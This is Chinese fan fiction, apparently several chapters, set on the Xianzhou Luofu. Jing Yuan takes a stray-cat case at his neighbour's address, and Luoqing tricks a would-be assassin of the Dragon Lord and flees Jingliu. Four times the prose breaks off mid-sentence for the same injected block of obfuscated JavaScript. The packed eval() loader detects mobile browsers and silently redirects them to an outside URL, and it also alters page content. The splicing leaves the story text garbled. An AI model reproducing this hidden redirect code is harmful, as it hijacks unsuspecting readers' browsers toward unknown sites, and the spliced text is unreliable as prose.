正巧最近这个新开的市民热线缺人,地衡司的执事长也表示好久没碰上这么积极的牛马,不是,这么积极上进的基层工作人员了,于是景元就这么莫名其妙地在云骑军和地衡司之间打起了两份工。 怎么感觉这个“天选打工人”走向哪里不太对?他也不缺钱啊...... 就是,缺钱谁来地衡司啊,这里的文职可没有一点油水可捞(? 虽然景元如今正式加入了云骑军,但说实话,他暂时还没有真正和军队外出“真刀实剑”过,一次也没有,是一个彻头彻尾的新新新新人。 或许地衡司稳定且清闲的坐班铁饭碗,对于大部分仙舟人来说,都是一生的梦想,但对于现在的景元来说...... 怎么说呢,也不是他要凡尔赛,也不是他有多么大的抱负非要去一展宏图,只是他自身也不太喜欢这样久坐且重复的工作。 有点无聊。 有点坐牢。 他现在还有点困。 景元看着千篇一律的收件箱,默默地打了一个哈欠。 这些天在地衡司,他遇到的事务都是一些类似于“张四家挂在门口的腌扑满肉被李四家的狗叼走啦”、“王五违规停靠星槎导致被熊孩子贴了一整车窗的贴纸啦”等等......一些真猫猫狗狗陈麻烂谷的事情,能用到谛听的都算比较重要的了。 也是,真正严肃的事情,一般都会交给云骑军和十王司。 但景元并不觉得地衡司这些琐事不重要,这或许也是他最终愿意来这里试着打这份工的原因。 仙舟六御和十王司都至关重要,缺一不可,各司其职,才有了现在的仙舟。 有的时候看看民生也挺有趣的。 这可是宝贵的基层工作经验啊。 但现在他很无聊也是真的。 景元拿起边上的水壶,给自己倒了一杯白开水,忽然眼前的系统闪烁一下,是一个网名叫“无尘”的人发的信息。 无尘:你好,冒昧打扰。 无尘:我家最近聚集了一群流浪猫,是一只刚生完的母猫带着一窝小猫,已经影响到正常生活。 无尘:希望你们可以给它们提供一个可行的去处? 哈,他说什么来着。 一些“猫猫狗狗”的重要事。 景元淡定地看着对面的“好心人”发来的照片,一边拿起一旁的茶浅浅喝了一口,一边上手准备回复,却在看到最后一张照片的时候一呛。 “咳......”一口水差点没顺过来。 那照片上的人,分明是自己呀。 景元还没怎么仔细看,对面那人又把这张照片撤回了。 景元:...... 景元一挑眉,身体微微后仰,回想起这张照片,开始思考这是什么时候拍的。 反正肯定不是他自己拍的。 思考无果之后,景元的手放在键盘上,还是没忍住多打了行字问问...... 地衡司指定官方账号0517:你认识上面的人吗? 无尘:这和我要处理的事情无关吧。 地衡司指定官方账号0517:好的,抱歉,是我唐突了。 地衡司指定官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154392|196514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方账号0517:您的问题已经反馈,届时我们会就近派相关工作人员前来处理,请您提供一下家庭住址,耐心等待工作人员的处理进展。 对面不多说也算是人之常情,景元也不好多问,或许是哪个无聊的同事拍了发网上的,他端起手边的茶,刚喝上两口冷静一下,然后在看到对面发过来的地址时,又呛了一口。 “咳...... ”一口水差点又没顺过来。 这不他家的地址吗! 哦,不对,这是他家隔壁的地址。 吃瓜吃到自己家门口,额,自己家隔壁...... 等一下,隔壁? . . . 发完消息的第二天早晨,洛清把这些猫小心翼翼地放进一个大纸箱子里,放在了门口,而后挨个拍了拍他们的猫头。 虽然地衡司是□□,但洛清今日出门有正事要办,她也不知道对方啥时候上门,所以她临走前把猫集合在小箱子里,顺带留了张字条。 这样地衡司的人来了,直接端走就好。 接着,她晃着自己刚刚在小巷路口旁买的俩香甜软糯还冒着热气的大饼,往长乐天的方向走。 此情此景,正适合作诗一首。 烈阳圆兮,饼儿香兮! 飞鸟鸣兮,院有女儿......诶? 那不是景元吗? 洛清眨了眨眼睛,确认是自己这两天因为一篇帖子而不小心招来了大数据,于是总能刷到的“罗浮氛围感帅哥”、“云骑军军草(待定)”、“关系户神秘(划掉)人”....... 啊对,就是他。 洛清把嘴里的大饼咽了下去。 此时的景元正在不远处一片空旷的草坪上练剑。 树叶落下的间隙划过长空,扬起一阵剑风。 景元的身边跟着一位气质凌冽的白发女人,趁着休息的空隙,两人说了一会话,好在无人注意无心路过但确实有心听了听内容的洛清。 不出意外,这位应该就是罗浮的剑首镜流。 清冷师尊啊,这可是高危职业。 至于内容......洛清稍微留意了一下,大抵似乎是“找一个工造司听着很有名的工匠打一把新剑”,亦或者是“剑不剑的并不重要,其他种类似乎也不是不行”,还有什么“什么时候有空一起叫上朋友去吃饭吧”、“长乐天地衡司门口徘徊的小团雀太可爱了不能养也给它们做个窝吧”一类的家长里短。 跨度挺大,内容也是五花八门,上到剑艺研习下至晚上吃啥都有,虽然对面那女人的回应并不多,但看上去是每一句话都认真听了。 再多的洛清也不知道了,她只是个平平无奇过路人,听这么多都算她耳朵灵光。 洛清听到的最后一点内容,似乎是这位白发美女师父说要去一趟鳞渊境。 嗯...... 嗯? 5. 清夜无尘 洛清决定去一趟鳞渊境。 她此番去鳞渊境的缘由,是打算碰碰运气找一下罗浮龙尊。 人总是容易陷入思维误区,比如说先入为主觉得龙尊是一个不近人情凶神恶煞的存在,但洛清反过来想了一下,万一他是条通情达理的龙呢? 只要自己认真表明来意,事关玉阙当年的战争相关,人家未必会拒之门外。 真诚永远是最好的必杀技。 寻回故人遗物,早日把这种悬而未决的事情完成,也能早点让故人的灵魂安息。 洛清觉得自己想得很对,开门见山的做法能为彼此都省很多时间。 不过如果镜流也要去的话,洛清也不清楚她的出现算好事还是坏事,毕竟洛清对她了解也不多,只能先走一步看一步了。 事实证明洛清还是把事情想简单了。 再怎么说也是人家龙尊老人家的地盘,还是罗浮禁地一般的存在,如何说服守卫让自己进去就是一桩难题。 但是,洛清其实连这个难题都没碰上。 她似乎遇到了更加......离奇的? 洛清来到鳞渊境外围的时候,旁边的草丛里正巧蹲着一位黑衣男性,看他的模样,似乎是在认认真真地观察着周围的动向。 鳞渊境和洛清预想中无异,作为持明一族乃至整个罗浮仙舟都极为重视的区域,虽然称不上重兵把守严丝合缝,但看门的总归是有的。 若是普通人没有许可肯定是进不去,但如果是武功高强之人从哪处死角里面偷溜进去......应该是有可能做得到的。 不过一般来说也不会有人冒这个险,毕竟龙尊本人就在其中,那句话怎么说来着......要在太岁头上动土,得先看看自己的斤两。 洛清也是这么想的,所有她很好奇是什么人在这里鬼鬼祟祟。 看着黑衣人的模样,她忽然灵光一现。 有一说一,黑衣人的伪装还算不错,门口的守卫无从察觉。 作为巡海游侠行走寰宇的时间久了,伪装和隐藏算是必修课,所以洛清一眼就看出来这人绝对不是碰巧路过,而是刻意为之。 过了一小会,鳞渊境外围走出一个面色不虞的龙师,临走时还瞪了门外的守卫一眼,然后嘴里念念有词地走了。 紧接着,这位黑衣人挪了挪身子。 洛清猜测是他打算行动了,这很好理解,鳞渊境里人越多越不方便行动,把带有一定话语权的龙师熬走也在情理之中。 抓着他起身的空档,洛清装作若无其事地靠近。 或许她可以把守卫直接引过来,不过洛清自己有一点狡猾的小心思,她也很好奇黑衣人的动机和目的。 似乎是察觉到了洛清的存在,黑衣人疑惑地打量,确认没有什么威胁之后,再默默移开视线。 按理来说,他应该快速抹杀洛清这种不确定因素,只不过此刻他已在鳞渊境门口,一点微小的动静都有可能招来变数,所以他选择了沉默。 而后,洛清见缝插针:“兄台可否听我一言?” 黑衣人被这突如其来的声音吓到,明显身形一晃,投来一个惊异的目光。 “兄台气宇轩昂,身手应当不错。”洛清接着说道。 “此话倒是不假。”听及此处,黑衣人将信将疑地看向洛清。 他确实会武,而且对于自己这方面还挺自信的。 不仅如此,他还有意隐藏,洛清能一眼看出自己的特殊之处,还能神不知鬼不觉出现在他的身侧,也算是她的能耐。 “实不相瞒,鄙人不才,曾在玉阙跟着一位老卜者学过一些皮毛。路过此地,见兄台气度不似凡人,眉宇间萦绕着一股奇特的气,心生好奇,特上前来看看。” “那你倒是说说,你看出什么来了?” “别紧张,我对你要做什么无甚兴趣,为你算卦全凭眼缘。” 洛清从口袋里掏出一张随身携带的卦谱,学着话本子上奇人异事的做派,摇了两枚巡镝上去,然后开始胡诌: “你看这卦象和卦谱,生门既隐,你此去怕是有生命危险。” “你个臭算命的...... ”听到这血光之灾般的回答,黑衣人眉毛一竖,即刻抬高了嗓门,然后警惕地朝门口看了一眼,随即又压低声音,“你胡说八道些什么,信不信我......” 洛清此刻倒是很冷静,事情和她预想的一样,尽管自己看上去也可疑得很,但他在这里偷偷摸摸的模样只会更加可疑,自然也不敢大张旗鼓起冲突。 “你看。” 黑衣人的眼神顺着洛清的话语转了过去,眼见着那一袭轻装的镜流从大门直入鳞渊境,无人阻拦。 他若是刚才就溜进去,怕是会直接撞上镜流。 ...... 那确实不能挑镜流在的时候闯进去。 打不过,打不过一点。 “大大大大大大师! ”黑衣人话锋一转。 ...... 好了,上钩了。 其实洛清根本不会算卦。 但世上很多原理是相通的,就像玉阙仙舟能在仙舟联盟中占据一席之地,总不能说全是靠顺应天命吧?大部分时候,还是打得情报站信息差啊,这可是它们的绝活了。 她只要比别人知道的多一点点就好了。 比如她刚刚听到了镜流要来鳞渊境的消息。 诶,这不巧了吗。 . 有了洛清这个算命做铺垫,黑衣人明显对她信任了不少,一边继续踩点考察,一边还试图和洛清攀谈,拉进一点关系。 自此,洛清的套话就很方便了。 当然,她还是要先装一下。 洛清摆摆手,像所有干一票就偃旗息鼓归隐山林的幕后黑手一样,一边装模作样要离开,一边等着他开口挽留:“诶,兄台,我只是一介过路人,如今事毕,留在这里似是不妥...... ” “大师留步!” 就等你这句话。 洛清顺理成章留了下来。 不仅有挽留,黑衣人还十分乐意和洛清交流。 “你觉得罗浮的龙尊是一个什么样的人。”他将话题转到了不见踪影的“主角”身上,洛清基本可以确定他是冲着龙尊来的了。 至于来的意图......暂时不明了,所以她选择继续东拉西扯:“罗浮饮月君,传闻中是一个气质淡漠、清逸出尘的大帅哥,墨发如瀑,皮肤白皙,就像是......” “停停停!这扯的,你只关心别人的长相吗?” “咳,我的意思是,显龙大雩殿的灯彻夜长明,他日日处理公务,一直到鸡鸣时分都未曾停歇,还要顺便周全一下各方势力安抚自己的好族人,如果只从这方面看的话,倒确实是一个恪尽职守、勤奋负责的好龙尊。” 但洛清也知道,能当这么久受人敬仰的高岭之花,要么他真是这样一条好龙,要么便是做戏已经做出肌肉记忆,那千代如一的假面仿佛是焊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154393|196514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在脸上,时间久了,装得自己都信了。 虽然目前也没什么强有力的证据,但其实洛清心里比较倾向于前者,瞧着他这一日一日流水似的公文,面对的人还个个不是善茬似的总挑毛病,这要是换了洛清早该把文件甩人家脸上了。 这龙尊脾气也没那么差嘛。 “哎,你要这么想,可就是被世俗舆论蒙蔽了双眼。”黑衣人突然一副过来人的样子,“你看鳞渊境内的显龙大雩殿灯火通明。刚才那位龙师出去的时候,面色不虞,显然他们是吵了一架。” “嗯......?” “实不相瞒,我其实是一个巡海游侠。” “你......?” “我刚刚接触到一条悬赏,新鲜热乎的内部消息,发布这条悬赏的人,在附录下面写明了这位龙尊的恶行。其表里不一,勾连外族,因其掌握持明族一脉无人可知的传承秘法,因此偷练禁药,借职位之便在仙舟各地传播,试图以此损害人民,瓦解仙舟。” “你看,连持明内部德高望重的龙师都要和他吵架,说明他们内部不合不是一天两天的问题,那么多人早就看他不顺眼了!” 黑衣人说得慷慨激昂。 洛清插不上话,暂时只能回以沉默。 “因此,发布委托的人明说,只要有能力的人,都可以随时前来索恶龙性命!然后带着他的项上人头去领取赏金,有整整.......这么多!”黑衣人面露金光,比划手指头证明悬赏金是一笔巨款。 “我应该不是第一个来的,也不会是最后一个。” “额......” 洛清有点意外他居然会说得这么详细,这个套话的效果有点好嘛。 利用骇人听闻的“情报”和高额奖励,煽动一部分群体按照自己的意愿做事,这是很常见的诱导方法,这条所谓的悬赏令对于洛清来讲,有很多无法解释的漏洞,光说发布人的信息,就存在无法确定真实的问题。 更何况对于巡海游侠来说,你可以是为了赏金而来,也可以说是为了公义而来,也可以全部都要,但是用正义去掩盖自己其实看上的是高额悬赏金......这多少有点缺德。 对这件事,洛清持保留意见,毕竟她也不太清楚持明一族内部的弯弯绕绕。 不过对于眼前这位黑衣人,洛清算是没有什么好感了,一想到他外出在外还得一直打着巡海游侠的名头,能和这样的人做同行,算她倒霉。 “大师,您本领了得,能不能再帮我算个吉时,我此行是顺利还是不顺,待会进去走哪个方位比较好......你放心,事成之后,我一定不会忘记你的好的。” 洛清想要的信息基本都算知道了个七七八八,黑衣人的价值到此为止,她露出一个“礼貌”的笑容,又拿出刚才那张卦谱,装模作样为他算了一卦,还给他指了一条“绝妙路线”。 接着,像绝大部分江湖骗子那样,洛清拍了拍他的肩膀:“我就只能帮你到这里了,接下来可就看你自己的造化了。” 黑衣人的“宏图大业”显然困难重重,洛清并不觉得他有能力刺杀龙尊,只是既然是个人选择,那自然教训也得自己独享。 变故产生在这一瞬间,有了洛清的“鼓励”,黑衣人信心满满,刚刚抬脚准备潜入鳞渊境,下一秒镜流就从大门口走了出来。 巧合到洛清差点都没反应过来,一道冰冷的目光扫过,黑衣人的伪装瞬间无所遁形,她大喊一声: “谁在那里!” 6. 清夜无尘 镜流的声音让黑衣人一个激灵,往前抬的脚急忙收了回来,而后朝洛清看一眼,猛得把她往旁边一推,自己快速朝反方向跑去。 洛清:? 洛清属实是没想到他过河拆桥的本领比他用脑子的水平高一点,心里暗骂一声他这个毫无侠义和良知的缩头乌龟,一个踉跄后堪堪站稳。 可也就是他闹出的动静,使他成为了镜流最先攻击的对象,只见寒芒从眼前闪过,直直地朝那位因为逃跑而弄出巨大动静的黑衣人。 密集的细剑划过他的腿,刺穿了他的肩膀,他大叫一声,“扑通”一下摔倒在地,在原地扑腾了几下都没有再站起来。 啊哦。 趁着镜流当下的注意力全在这个黑衣人身上,门口一阵骚乱,她急忙朝另一边跑去。 那边的镜流反应也很快,冰冷的剑光一闪,直直地朝洛清飞去,洛清急忙一侧身,如冰棱一般的飞剑从脸颊边划过,带动她额前的碎发翻飞。 不不不好! 她这样气势汹汹,明显是把自己当成黑衣人的同伙了,好巧不巧他们还正好有一段忽悠和被忽悠的关系,若是当场对供,三下两下的还真说不清自己和他没关系。 更别说洛清也不知道这黑衣人说不定会为了拉她下水而胡说八道,他俩还恰巧是同行。 思及利弊,与其因解释不清而十王司n日游,还不如动用一下三十六计的精髓。 ......走为上策。 毕竟她应该也打不过镜流,而鳞渊境什么时候都能来,在这里露面让自己变成嫌疑人的决策显然不如直接走人。 更何况在这里和她打起来不就坐实了自己确实黑衣人有关系么,洛清还没那么傻。 好在洛清是在刚出鳞渊境的时候发现的他们,此时距离黑衣人和洛清都有一段安全距离,洛清觉得自己应该跑得掉。 事实证明洛清想得没错,镜流果然没有那种速度,但她也很快反应过来,跟在自己身后,穷追不舍。 她的步履轻快,身形迅捷,洛清觉得自己或许也未必跑得过她......那可不行,这岂不是算畏罪潜逃罪加一等。 洛清一边跑,一边飞快地想对策,走大路肯定是跑不过她,不然尝试走小路,可她对罗浮的小道并不是很了解...... 话是这么说,但赌一把走小路或许还是最优解,虽然有概率把自己绕晕,但对方肯定也会因为辨认方向放慢脚步的。 洛清猛得调转方向,一边拐进小巷,一边把自己的外套脱了下来,朝隐蔽的地方随手一丢,又拐了几个弯回到大路上。 这个外套颜色明显,如果对面辨认自己,大概率会通过这种显著特征,混淆一下视线虽然不能保证镜流一定认不出自己,但多少可以拖一些她思考的时间。 果然这个方法有一定效果,洛清抓着空档朝身后看了一眼,发现已经看不到镜流的身影了,但她依然没有放松警惕。 此时正是下班高峰,罗浮街上最热闹的时候,洛清混进了人堆,身边不断有人擦肩而过,街边的小摊贩上卖的稀奇古怪的小玩具小首饰。 或许可能应该甩掉了。 洛清还在想着镜流的事情,绷紧的一根弦正要慢慢放松,一个坚硬的“庞然大物”猛得撞上她的肩膀,还有些洒出来的奶茶粘上了她的衣服。 ??? 刚送下来的精神又紧张了起来,洛清顺着力量的来源抬头,一边心虚地希望自己只是撞上了个不相干的路人,一边思考说点什么让这个意外翻篇。 她看到一张逆着光的脸和一双带着笑意的眉眼,眉眼的主人一边走一边捧着玉兆有说有笑,似乎在和什么人打电话。 头发不知不觉间似乎被什么东西给勾了起来,几缕碎发随风扬起,洛清心里有些烦躁,毕竟她现在处在一个不算安全的位置,但又不得不耐着性子看清那人的脸。 一个熟悉的面孔,还有一双金色的眼睛。 景元?洛清一愣。 不 会 这 么 巧 吧。 这一下给洛清撞宕机了,他哪里冒出来的是和镜流一起抓她来的还是他和镜流一起抓她来的...... 一想到这些可能性,洛清没由来一阵紧张。 简直是恐怖故事。 他手上拿着一杯仙人快乐茶和一个玉兆,玉兆上面还显示着“正在通话”的界面,看样子确实是在打电话,意识到自己撞到人之后,他低头。 洛清看清了他的表情。 他盯着自己看了几秒,眼神看上去没有错愕,也并不无措,更像是.......思考? 而后,温柔的轻声在耳边响起: “抱歉。” 说完“抱歉”之后,他似乎是有什么急事,也没再多说什么,匆匆移开视线,仿佛什么都没发生,快步朝着原本的方向离开了。 他就这么走了。 洛清虚惊一场。 原地停留几秒之后,洛清很快反应过来此地不宜久留,但她又不好过于大条直接往家躲,要是镜流真不离不弃追到自己家了,用仙舟话来说,就是老巢都给端了。 所以洛清决定绕路去别的地方避一下,晚点看确实没人跟踪自己,再回家。 . . . 接到“无尘”的委托之后,景元早早就离开了地衡司,按照他原本的计划,下班以后他会去找镜流练剑。 不过今天计划有变。 他拿起玉兆拨通电话,一边快步朝前走去,接他电话的是一个浑厚低沉的男声,他们有一搭没一搭地聊着,说到高兴的时候,景元的脚步也轻快了不少。 此刻正是大部分人下班的时候,长乐天的街市也更热闹些,来来往往很多人,时不时地会发生一些衣物上的摩擦。 景元快速地在人群中穿行。 “啊?镜流不是说你爹娘给你找的坐办公室的活吗?怎么还要你跑外勤啊?” “......” “随便找个执勤人员的给它们搭个窝喂点吃的让好心人领走...... 哦,也不用特意找出外勤的,这些事情地衡司里任何一个人都能做,这种事情还要托我去请个假,你看镜流会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154394|196514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会生气...... ” “哈...... ”景元失笑,“瞧你这话说的,我现在也算大半个公职人员,怎么能不负责任。” “你其实就是自己想去玩吧?” “哈哈....... 怎么会呢,我是怕同事累着。” “那你自己去和镜流说,何必劳我大驾。” “诶......别这么无情嘛。 ” 虽然地衡司都是一些猫猫狗狗的事情,但猫猫狗狗又怎么样,景元恰好对猫猫狗狗的事很感兴趣,又在自己家旁边的,不去看看那不是亏了? 所以他特地自告奋勇出了这次外勤。 剑啥时候都能练,小猫不看......它们可能会跑。 景元走得着急,又时不时地看下玉兆,忽然间发觉自己好像撞上了什么东西。 旁边是卖手作小首饰的摊贩,身边时不时经过赶路的人群,他低头,看见了一个小姑娘,意外地抬头看他。 好眼熟啊。 这是景元的第一反应。 良好的心理素质让他很快压下心中的诧异,条件反射地开始思考自己在哪里看到过这个小姑娘。 哪里呢? 盯着的时间好像有点久了,景元很快意识到自己有些失礼,他匆匆说了声抱歉。 离开后,景元还是有些在意那张脸,脚步稍稍慢了些。 他确信自己一定有印象,不过或许是被小猫冲昏了头脑,他一时间也没想起来。 “喂,景元,怎么没声了!景元?” “啊!”景元回过神来,意识到自己还在打电话,思绪就这样断了。 “没什么,不小心撞到个人,我...... ”他刚重新拿起玉兆准备回点什么,迎面又撞上了一个人。 景元沉默了。 自己这是什么运气,前脚刚被人撞了一下,后脚就遇上了现在暂时最不想遇见的人。 “哈哈......师父,你怎么在......这?” 不过镜流显然不是过来兴师问罪的,她神色匆匆,一直警惕地观察周围,接着问道:“景元,有没有看到一个女孩。” “啊......?女孩?”景元下意识往洛清消失的地方看了一眼。 “对,长发,浅绿色的外套,个头大概.......到这。”镜流又补充了一点信息,还试图比划了一下。 “没有。” 景元穿了一整条街过来,路上长头发的女孩子可以说遍地都是,穿绿色外套的或许不常见,或许见到忘了,总之应该是提供不上什么帮助。 不过......此时景元再回想起刚刚撞到的洛清,似乎确实有点行色匆匆的模样,这有什么巧合在里面吗? “出什么事了吗?” “三言两语说不清楚。”既然景元这里没什么有效信息,镜流也不打算继续浪费时间,“今日的训练就罢了吧,我有点事,有机会的话,解决了我会同你说的。” “诶?” 景元还想再追问些什么,镜流的身影已经消失在了人海中。 7. 清夜无尘 景元去处理这些小猫的时候,就地取材去后面小树林里砍了些木头,然后顺手给这群小猫搭了一个窝,并不精致,但遮风挡雨应该是够的。 先搭个窝慢慢圈养起来,然后再慢慢找好心人收养,或者挨个送去宠物店。 当然,这些并不是他一个人做的,与他同行的还有一个狐人少女,少女一头淡紫色的长发,此时此刻,她正蹲在地上,撸猫撸得不亦乐乎。 “剑法不错嘛,你刚刚‘这样’、‘那样’的时候,乍一看还有几分像镜流的,没她说得那么离经叛道嘛。”狐人少女一边比划着景元砍树的模样,手从左边划向右边,耳朵灵动地抖了两下。 说起镜流收景元为徒的起始,还是源于一段奇妙的巧合。 镜流择徒不看天分,甚至一开始根本没想收徒,或许当初收了景元也是心血来潮,云骑军营里晃了一圈,随手指了个看起来最顺眼的,具体原因或许只有她自己知道。 而景元也不出所料,果真一点剑术天赋也没有,只是既然收都收了,就得负责到底啊。好在景元本人非常聪明,学东西又快,虽境界未必能走得多么深远,但也比一般人厉害多了,不至于让镜流说出“以后出门在外别说你老师是谁”这样无情的话。 至于“离经叛道”,那纯粹是景元自己想一出是一出,将镜流所教的一部分内容改动和创新了不少,用他的话来说这叫“融会贯通,事半功倍”,招式不仅要好用,还得自己顺手呀。 当然他也没全改,必要的时候他还是很“尊重经典”的。 再说了,镜流本人也不介意景元这样的举动。 “哎,景小元啊景小元,你果然还是和应星亲一点,这么好玩的事情居然先通知他......” “那他不是也没来么......不来也好,他对小猫小狗的兴趣实在寡淡,这些东西的吸引力对他来说可能还不如谛听,来了肯定扫兴。” “嗯......白珩,你喜欢么?喜欢就带回家呗。”景元站在白珩的对面,抱剑而立,背轻轻靠着墙壁,垂眼看着地上三三两两的小猫和被小猫围簇着的狐人女子,柔和地问道。 “我???” “你可以...... 挑两只长得好看的,又没有让你全部带走。” “不了不了,就我这个动辄几个月不回家的习惯,毫无规律居无定所四处漂泊,放我家养最后不还是让你们养...... ”白珩听后,手从猫背上挪开,在空中摆了两下权当拒绝。 景元摇摇头:“好吧,哎,本来想让你带两只,应星带两只,鳞渊境那送两只,师父...... 好吧我开不了这个口,不过可以让你来开。” 四舍五入一下,这些猫就都归景元了,每天可以去不重样的地方看他们,甚至不经他手,还不费他的时间。 “给我们都安排好了,你自己怎么不养?” “下次,下次......一定,下次一定。”景元柔和的目光投向她周围的幼猫,它们扑腾着小短脚慢悠悠地从白珩身边挪到母猫身边。 “......我养肯定是耽误它们,还是交给更适合带走他们的好心人吧。”景元收回目光,又多补充了一句。 这边白珩和景元又聊了点有的没的,看小猫陆陆续续回到母猫跟前吃奶去了,她拍了拍手,正准备起身,目光正正好好落在了景元的左肩。 白珩愣了一下,然后恍然问道:“诶,景元,你肩膀上什么东西?” “嗯?”景元回过神来,就看见急性子的白珩已经忍不住上手扒拉起来,然后就从肩膀上摸出一支翠绿色的簪子,簪子拿起来的时候,还勾破了衣服上的线条,线条随着簪子一起扯了出来。 ...... “哇塞,你别告诉我里面蕴含了你自己的小巧思,是特地藏在里面的?你那清奇的脑回路终于有一天转了个弯把自己转进死胡同了吗?” 白珩把簪子拿手里左摇右晃把玩了一下,随手丢回给景元,然后一挑眉: “女生的?” 景元看向那个簪子,刚刚断了的思绪在此刻被白珩接了回来,他仔细回想了一下,很快反应过来这簪子哪来的:“哦,我刚刚在街上撞到一个姑娘,想来是那个时候蹭上的。” “说来也稀奇,我前日帮丹枫哥揪到了一个潜伏在工造司的内鬼,这才过了两天就看见师父神色严肃,从鳞渊境出来说是要抓刺客,他们持明本家的是是非非也太多了,你说这两件事情会有什么关联吗?” 景元重新靠回墙壁,簪子在他手里顺时针转了一圈,又逆时针转了回来,两件事情一联系,他忽然一顿,低头看了一眼手里的簪子。 那个被挟持的女孩和今天撞他的女孩模样一重合,他可算想起来自己是在哪里见过了,而后不自觉地出声道: “哦,是她啊。” “啊?谁?什么?我们不是在说簪子吗?”刚回罗浮没几天的白珩显然没有吃上这几天的瓜,此刻还在状况之外,暂时想不出景元说的关联在哪。 “没什么。”景元收起那一瞬的思绪,表情很快回归平静,谁知一抬头就看见白珩对着玉兆,表情凝重,长吁短叹: “哎,镜流,你家小徒弟秘密越来越多了,再养几年还管得了吗?和应星站一起八百个心眼子应星还得倒欠他一个,心思这么重小心他哪天心血来潮做个局把我们一网打尽啊!” 景元无奈地看着白珩:“诶,你......我?” . . . 遥远的某罗浮某造司传出一声喷嚏。 . . . 是夜。 为了躲避镜流,洛清找了个茶馆,一待就是一下午,一直待到了晚上。 直到稀稀落落的人都走了,洛清确信碰不上镜流之后,才打算回去。 谁知回家的路上居然下起了雨。 罗浮很少下雨。 整个仙舟都很少下雨。 作为一整个“模拟星球”,这种无法确定的风霜雨雪早已经被人为接管,只在确定以及必要的时机出现,以免对人们的生活造成不必要的困扰。 洛清觉得最近自己遇到的巧合实在多了点,很多个巧合凑在一起,足够让一件糟糕的事情变好,也足够让一件美好的事情变坏。 也就是玉阙那些迂腐的卜者爱说的...... 大凶之兆。 而对于长乐天街边突然席地而坐,开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154395|196514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆摊卖伞的小贩来说,这就是上上大吉。 洛清撑着伞快速走回家,路过小区的公共小公园时,正好碰上了一排木头搭的临时猫窝,看到这些,洛清才想起来今天还找了地衡司的人处理流浪猫。 额,所以这该不会是地衡司的人搞的吧。 洛清看着那摇摇欲坠连个顶都没有的窝,想都不用想估计待会来阵大风就能稀里哗啦吹倒一片,更别说里面的猫能不被淋成落汤猫的概率......估计都跑光了吧? 不愧是每天都有人在装模作样上班的地衡司,一手拖泥带水的官场糊弄学洛清算是见识到了,她一边想着以后再也不信什么市民热线,一边好奇地凑近打算看看状况。 这不走不要紧,一走近就看到一个乌漆嘛黑的人影,伴随着细雨绵绵,在路灯下影影幢幢,差点给洛清吓了一跳。 洛清:...... 她忽然觉得自己出门真该看看黄历了,或许老一辈的三字真经也没有错,先是鳞渊境碰上神秘黑衣男招惹镜流导致自己连坐,后又在回家路上偶遇神秘吸猫水鬼(bu),这一天天的...... 洛清一边定了心神,一边定睛一瞧—— 只见一个人半跪在地上,手里拿了很多件透明的雨衣,被他一件一件铺在那些猫窝上,猫窝里面正是白天那一群小猫咪,蜷缩在一起,安安静静地吃着他手里不知是猫粮还是别什么东西,时不时地蹭一下他的手心。 淅淅沥沥的雨水从边缘滑落,滴在他的脸颊上,又顺着落了些到他的衣服上,或许是因为活动量太大,他身上那件略显窄小的雨衣显然起不到什么作用,雨点一滴一滴渗进他的衣服。 或许是听到了什么动静,那个人抬头,昏暗的路灯让洛清看清楚了他的脸,金灿灿的眼睛在迷蒙细雨和黑夜的对比下更加明显,白色的头发挂着清透的水珠,像一团被揉碎的月光。 说实话她已经不陌生了。 洛清脚步一顿,雨伞随着她发愣的瞬间,向一旁微微倾斜。 或许这世界上存在这样一种人,清澈,干净,无瑕...... 也就是话本子里常见的,心地善良的大好人,庙观前穿着围裙施粥的仙子,无数人心底光风霁月的明月。 大概就是这个意思。 这样的人,不会有人在第一眼看到的时候,就抱有恶意,相反,大部分人都会对他有好感。 奇异的感觉涌上心头,洛清抿了抿嘴唇,才发觉已经有细雨趁着空档飘进伞里,沾上了她的脸。 她看了看前面的路,还有一小段就要到家了,而他还不知要在这里待多久。 而后,她收伞。 把伞放到了景元脚边。 夜雨中的身影微微一动。 